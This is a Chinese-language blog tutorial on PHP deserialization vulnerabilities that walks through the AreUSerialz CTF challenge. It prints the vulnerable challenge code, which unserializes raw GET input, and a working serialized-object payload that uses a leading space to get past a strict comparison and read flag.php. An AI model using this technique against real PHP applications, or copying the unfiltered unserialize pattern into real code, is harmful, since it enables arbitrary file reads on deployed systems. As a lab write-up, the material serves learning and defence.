PHP反序列化

一、原理

序列化就是将对象转化成字符串,反序列化相反。数据的格式转换和对象的序列化有利于对象的保存 。

反序列化漏洞:就是php对数据进行反序列化时,没有进行过滤,导致用户可以控制反序列化的内容,调用一些默认的魔术方法,进行SQL注入等攻击。

  • 序列化函数:serialize()

  • 反序列函数: unserialize()

  • php中的魔术方法:

    • __construct():构造函数,对象创建时被触发。
    • __destruct():析构函数,对象被销毁时触发。当不存在序列化函数时,在类的实例化时就被执行。当存在序列化函数时,在先执行construct(),然后序列化,最后执行destruct()。
    • __wakeup():苏醒函数,反序列化时被调用。

实例

image-20221015092142230

上述代码中,首先实例化一个A类,此时会自动调用__construct方法。然后对其进行序列化,输出序列化的结果。最后对其进行发序列化,此时又会自动调用__wakeup函数。

运行结果:

image-20221015092619173

可见序列化之后其实是变成了一串字符:

O:1:"A":1:{s:2:"hh";s:3:"zfr";}
O表示object类,s表示string类型

二、实战

来看一道ctfhub上的题:2020-网鼎杯-青龙组-Web-AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

可以看到,首先GET方法获取我们输入的str值,进行一个is_valid判断,看是否在正常字符串内,然后对str进行一个反序列化。因此我们可以猜到,输入的str应该是一个序列化后的结果。

再看类FileHandler,看到方法__destruct()和__construct(),当我们str中提前实例化类FileHandler时,就会执行这两个函数。同时,存在两个方法read()和write()用于读写特定目录下的文件。因为我们要读flag的值,所以肯定要执行read方法,因此需要变量$op=2。

观察__destruct()函数,其中如果op=2,则会强制将op转化为1。但是,因为===同时判断类型和数值。所以如果我们输入op=” 2″,因为2前面存在一个空格,则可以绕过该强制等于。

经过以上代码分析,可以构建如下代码:

<?php
class FileHandler{
    public $op= " 2";
    public $filename="flag.php";
    public $content = "ss";
	
}
$test=new FileHandler();
$hh=serialize($test);
echo $hh;

?>

输出的结果即是我们的payload:

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"ss";}

使用GET将上述str的值传入,再查看网页源代码,即可看到我们的FLAG。

总结

其安全性问题主要出现在反序列化环节,当我们序列化一个含有危险语句比如SQL注入语句的对象时,该对象被转化成字符串,并不会被识别。但是如果服务器端进行反序列化操作,则会执行该危险语句,导致危险产生。

版权声明:本文为capz原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/capz/p/16870179.html